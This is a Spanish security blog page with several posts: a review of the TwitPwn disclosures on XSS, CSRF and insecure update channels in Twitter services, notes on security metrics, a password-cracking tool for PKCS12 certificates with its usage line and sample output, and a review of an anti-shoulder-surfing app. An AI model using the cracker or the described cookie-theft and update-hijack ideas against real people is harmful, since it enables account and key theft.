En los 31 advisories que forman esta iniciativa, podríamos englobar a todas las "víctimas" bajo las siguientes categorías o funciones que ofrecen:

- Acortadores de URLs = bit.ly, tr.im (entrad rápido a esta porque dentro de poco desaparecerá...)
- Clientes de twitter = hootsuite.com, bigtweet.com, twitiq.com, m.slandr.net, talker.co.il, twhirl.org, twitstat.com/m, tweetdeck.com
- Multimedia sharing = twitwall.com, twitsnaps.com, twitpic.com, yfrog.com, tweetube.com, posterous.com, chart.ly
- Indexador de Tweets = twitterfall.com, tweetgrid.com, tweetmeme.com, stocktwits.com
- Directorios de cuentas Twitter = twellow.com, tweeplepages.com
- Trackers de URLs = twitturly.com, tweetburner.com
- Red Social = brightkite.com
- Replicadores de mensajes en varias redes = hellotxt.com, mobypicture.com, ping.fm
- Utilidades para Twitter = twittercounter.com
- Buscador de Tweets = buscador de twitter.com

Seguro que muchos os suenan, o incluso usais en vuestra vida twittidiana en caso de que la tengais. A continuación os dejo una gráfica que muestra el porcentaje de las vulnerabilidades totales según el tipo de servicio:

[Enlace a la imagen]

Casualmente, los servicios que cuentan con más vulnerabilidades son los que se utilizan para twittear y compartir fotos, videos y demás. Básico.

• Tipos de vulnerabilidades detectadas

De las más de 40 vulnerabilidades detectadas, realmente estamos ante 4 tipos diferentes de las que ya os hemos hablado por aquí y que vamos a repasar:

* Cross-Site Scripting (XSS) no persistente - Vulnerabilidad web que permite incrustar código HTML o javascript en una página web por una validación incorrecta en los datos que puede proporcionar un usuario. Explotando satisfactoriamente esta vulnerabilidad, por ejemplo es posible robar las cookies de la sesión del usuario víctima que ejecute la sentencia para que así el atacante pueda realizar acciones con esa sesión. También conocido como Cross-Site Scripting reflejado, para que este ataque funcione, es necesario que otro usuario acceda a una dirección URL formada especialmente por el atacante.

* Cross-Site Scripting (XSS) persistente - Los datos técnicos de esta vulnerabilidad son exactamente iguales que los de los Cross-Site Scripting no persistentes o reflejados. La diferencia con la anterior es que para llevar a cabo este ataque, no es necesario que el usuario víctima ejecute la dirección URL que contiene el código HTML o javascript, si no que el atacante ha conseguido que dicho código haya sido almacenado ya en la aplicación, ya sea por haberlo podido incrustar en una noticia, post de un foro, etc. Gracias a esto, cualquier usuario que acceda a la página en el que esté incrustado el código ajeno, será víctima del ataque. Este Cross-Site Scripting también es conocido como directo.

* Cross-Site Request Forgery (CSRF) - Al contrario que en los ataques de Cross-Site Scripting, los CSRF o XSRF explotan la confianza que un sitio o aplicación web tiene en el usuario que los visita. Podríamos definirlo como un Cross-Site Scripting evolucionado, y consiste en conseguir que un usuario realice una petición a una aplicación Web con su propia cuenta. Esto añade la gravedad de que en su posterior investigación, sea más complicado saber quien ha realizado realmente esa petición. Para el caso en el que nos encontramos, podríamos por ejemplo enviar tweets a otras personas haciendo que figure el nombre de usuario de otro. Hace unos meses Yago contaba en este post de que manera Skype sufrió este tipo de ataques en su frontal web. La suplantación en los tiempos que corren, no es para tomársela a broma.

* Canal inseguro de comunicaciones - Muchos se dedican a robar wifis de sus vecinos en su lugar de vacaciones. Algunos quieren internet, otros simplemente enchufar su sniffer preferido a ver que peticiones corretean por esas ondas que nos permiten estar conectados con el portátil desde la terraza viendo el mar. El no utilizar un canal seguro para según que comunicaciones en algunas aplicaciones puede dar lugar a entrometernos por ejemplo en un proceso de actualización de software, y en vez de dar el .exe que corresponde, redirigir la descarga a otro .exe que tengamos preparados nosotros mismos, o incluso redirigirlo al binario de una versión anterior del software que nos permita explotar otras vulnerabilidades que se arreglaban con las nuevas. Es un tema que da muchísimo juego, con el que me detendré más adelante en el apartado de conclusiones.

La siguiente gráfica muestra el porcentaje de vulnerabilidades según su tipo:

[Enlace a la imagen]

Quizás el Cross-Site Scripting no persistente o reflejado no se considere una vulnerabilidad tan grave como podría ser una inyección de comandos o un remote file inclusion, pero para el caso de estos servicios basados en twitter, en el que se mandan siempre URLs enmascaradas en acortadores de direcciones y que compartimos en mensajes tales como "http://bit.ly/juas <- mirad que bueno!" o "http://tinyurl.com/lalala <- más info de la caída de facebook", que implican poca ingenieria social ya que el 99% tiende a hacer click en los enlaces sin comprobar antes las URLs, si hay que tenerlos en cuenta.

• Estado de parcheado al publicar las vulnerabilidades

Con la gráfica siguiente, poco más se puede decir:

[Enlace a la imagen]

Más de las tres cuartas partes de las vulnerabilidades reportadas fueron arregladas, tardando más o menos tiempo (algunos incluso llegaron a arreglar las vulnerabilidades en sus servicios en apenas dos horas desde que Aviv mandó el primer e-mail), antes de que se avisara de que se procedería a su publicación en el proyecto TwitPwn. Para el resto de vulnerabilidades, a día de hoy no hay constancia de que se hayan parcheado o no, o ni siquiera se ha contestado al e-mail enviado explicando los detalles de las vulnerabilidades.

Entre las vulnerabilidades no parcheadas nos encontramos con aquellas que se encontraron en el cliente de twitter Tweetdeck, muy utilizado por cierto, no estableciendo un canal seguro de comunicaciones, ídem para otro cliente, twhirl. Tampoco se han parcheado, o ni siquiera hecho caso de los e-mails, las vulnerabilidades de tr.im, twittercounter.com/twitterRemote.com, tweetube.com, tweeplepages.com, tweetburner.com, chart.ly...

• Conclusiones y opinión personal

Al principio me quedaban dudas sobre si TwitPwn iba a ser lo típico de "saco una vulnerabilidad y la repito en el resto porque se usa lo mismo", pero al final, y después de realizar el seguimiento que os prometimos, puedo decir que me he llevado varias sorpresas.

La primera de ellas, el pasotismo, del que os hemos hablado varias veces en este blog, del que pecan muchos, tanto por la seguridad en sus desarrollos como a la hora de responder un e-mail que únicamente trata de ayudarles para mejorar lo máximo posible. Aviv ha publicado vulnerabilidades que se acercaban muchísimo a aquellas que de repente un día saltan a los medios (y más ahora, que hasta las caídas de twitter o facebook salen en las noticias de televisión...sin comentarios) y cuentan que alguien había entrado en el twitter de Britney y había dicho que se había muerto.

La segunda sorpresa, vulnerabilidades tales como la de las conexiones inseguras que sufren algunos clientes twitter de los más utilizados. Si juntamos lo siguiente en una coctelera:

* Wifi por defecto o insegura, me meto en tu red y veo lo que haces y por dónde navegas.
* ¿Todo el mundo? usa twitter
* Le doy a [Aceptar] si mi cliente twitter me dice de repente que tiene una actualización nueva.
* Le doy a [Aceptar] a que la actualización se ha descargado y que se va a instalar.
* Lo reflejado en el punto anterior.
Vaya cocktail.

En resumen, Aviv nos ha entretenido este pasado mes de Julio con este proyecto tan interesante y curioso, que quizás no haya tenido mucha repercusión mediática pero que si ha seguido demostrando como vulnerabilidades tan típicas siguen existiendo, y que en según que ámbitos pueden alcanzar mayor criticidad de la que normalmente tienen.

Leer más...

Midiendo la seguridad

La gestión de la seguridad no es una tarea fácil, por ello los responsables de seguridad necesitan conocer ¿cómo pueden medir la gestión de la seguridad de su empresa?, es decir, la calidad del sistema de gestión de la seguridad de la información (SGSI) y así dar soporte a la toma de decisiones y analizar como contribuye la seguridad al negocio.

Para medir la seguridad los responsables disponen de herramientas de control, como son los Cuadros de Mandos de Seguridad, que sirven de ayuda a la toma de decisión y están basados en métricas de seguridad.

Las métricas de seguridad sirven de ayuda a la planificación estratégica, al benchmarking y para determinar como la seguridad está contribuyendo al negocio.

Lo primero que hay que estudiar es ¿qué quiero medir?: los objetivos relevantes del negocio.

Construir una métrica no es una tarea fácil, a veces "lo que se mide no siempre es importante y lo que es importante no siempre se puede medir" (Einstein). Las empresas tiene sus propios indicadores, que en muchos casos ellos han desarrollado para adaptarlos al negocio.

Las métricas que forman parte de un cuadro de mando son: de implantación, eficacia y eficiencia de los controles de seguridad. Lo importante de estos indicadores es que deben ser confiables y válidos.

La recolección de los datos es una tarea importante. Las fuentes de datos que recogemos para poder realizar la medida pueden ser logs de auditoria, formularios, etc. Los Sistemas de Gestión de Eventos de Seguridad (Security Event Management, SEM), de los que ya hablamos en el blog, son un buen instrumento para la recolección de datos, que permiten por ejemplo obtener información de intrusiones no autorizadas, firewalls, IDS, antivirus, honeypots, etc, y sirven como fuente de información a la hora de generar las métricas.

No podemos medir la seguridad sin haber implantado antes ciertas medidas. Lo primero es implantar la seguridad y después medirla.

Un par de lecturas recomendables son: "A framework for security measurement" de C. Wang, W.A. Wulf y "Fiabilidad y Seguridad" de Antonio Creus Sole.

Leer más...

YACCT: Yet Another Certificate Cracker Tool

A la herramienta Brute12, publicada por Yago el año pasado para hacer cracking certificados digitales PKCS12, y bien conocida además por los participantes del Wargame de Campus Party 2009 le ha salido una herramienta hermana: Brute12Unx.

Brute12 es una fantástica herramienta hecha en C, bajo entornos Win32 que se basa en las librerías CAPICOM para probar a cargar un certificado digital PKCS12, probando una a una, las palabras de un diccionario a fin de encontrar la contraseña.

Brute12Unx tiene básicamente la misma funcionalidad, sólo que lo hace bajo entornos UNIX.
Asimismo permite, como opción, enviar un correo con el resultado, con la password correcta o con un mensaje de "Password no encontrada". De esta manera no es necesario estar monitorizando el proceso de cracking, y simplemente recibir un correo en cuanto se encuentre la solución.

Como dependencia requiere el módulo Crypt::OpenSSL::PKCS12 de forma obligatoria y Mail::Sender si se utiliza la función del envío de correo al terminar.

Se ha probado con buenos resultados en GNU/Linux CentOS4, así como en Mac OS X.

El modo de funcionamiento es muy sencillo. Funciona vía línea de comandos de la siguiente manera:

[root@Carmen brute12unx]# brute12unx.pl
Certificate Cracker PKCS12 for UNIX 03/08/2009 (http://www.lorenzomartinez.es/projs/brute12unx)
By Lorenzo Martinez (lorenzo@lorenzomartinez.es)
Based on idea: brute12 (http://www.security-projects.com/?Brute12)
Usage /usr/local/bin/brute12unx.pl -p cert.p12 -d dict.txt [-f emailfrom -t emailto -s smtp_server -v1]

Como parámetros obligatorios, hay que pasarle obviamente el certificado PKCS12 a crackear y el diccionario a utilizar con -p y -d respectivamente. Como opción podemos pasarle el email desde el que nos llega el correo, el email que lo recibe y la IP del servidor SMTP que utilizaremos para el envío. Asimismo con -v1 podremos ir viendo las diferentes palabras que se van probando para crackear el certificado digital.

Al estar basado en un lenguaje interpretado como Perl, en vez de uno compilado como C (como Brute12 para Windows), supongo que el rendimiento de una y de otra herramienta no serán iguales. No he podido hacer pruebas con el mismo hardware, y aunque se hace un uso intensivo de CPU como con cualquiera de este tipo de programa, el ratio de palabras probadas en un Pentium 4 a 2,8 Ghz ha sido de unas 25000 palabras/minuto.

225319 Checking "finalizado"... ... FOUND!!! Password is: finalizado Start time: 2009-08-12 22:54:15 End time: 2009-08-12 23:03:24

Es decir, 225319 palabras en unos 9 minutos y 9 segundos.

Abierto quedo a vuestras sugerencias para mejorar la herramienta (amén del rendimiento, que es ya conocido que no será comparable entre la versión C y la versión Perl)

La herramienta, la podéis descargar desde aquí

Leer más...

Protección contra shoulder surfing

El shoulder surfing o "sniffing over hombro" como nos gusta llamarlo en broma, es una de las técnicas más viejas y explotadas para la obtención de información confidencial. Su uso es tan sencillo como acercarte silenciosamente por la espalda de un compañero, amigo o familiar y observar detenidamente las teclas, el monitor de nuestro objetivo o cualquier otro soporte de información que pueda ser de interés.

Para evitar este ataque existen medidas como el uso del carácter asterisco mientras se teclea una contraseña o los filtros de privacidad.

Otra ingeniosa forma de solucionar el problema es la que nos ofrece Oculis Labs con su aplicación PrivateEye que mediante el uso de una cámara web y la detección de movimiento y el reconocimiento fácil es capaz de prevenir la mirada de unos ojos curiosos.

La herramienta es bastante sencilla, una vez se instala muestra en el systray las opciones disponibles.

Para ajustar el funcionamiento se presentan distintas pestañas en su configuración, que definirán el comportamiento ante un nuevo evento, así como los parámetros necesarios para validar cuando ocurre uno de estos sucesos.

Desde las opciones avanzadas se permite definir como detener el sistema en caso de que se genere un alerta y el funcionamiento general de la aplicación con el sistema operativo.

La siguiente ventana muestra la configuración de sensibilidad para la detección de movimientos, el correcto funcionamiento y utilidad real que pueda tener la aplicación prácticamente dependerá en su gran mayoría de unos valores correctamente configurados.

En la última pestaña "Enhanced Security", se especifica si el sistema funcionará en base a la detección de movimientos o reconocimientos faciales, así como otros ajustes como la actuación en caso de que se identifique alguna de estas dos ocurrencias.

Por último, esta captura de pantalla es un ejemplo del efecto que podría tener la pantalla al detectar un movimiento o rostro, aunque como hemos comentado, puede ser modificado por otras imágenes, distorsiones, etcétera.

En resumen, la aplicación nos ha parecido una buena idea que ha sido implantada correctamente, aunque tal vez el proceso de configuración "fina" ha sido demasiado lento para optimizar la tasa de falsos positivos y negativos. El precio se adecua a lo que entendemos por licencia personal (19.95€) aunque el perfil de un usuario que la requiera es muy concreto y seguramente en la mayor parte de los casos este más focalizado a empresas y organismos gubernamentales con políticas muy duras.

Leer más...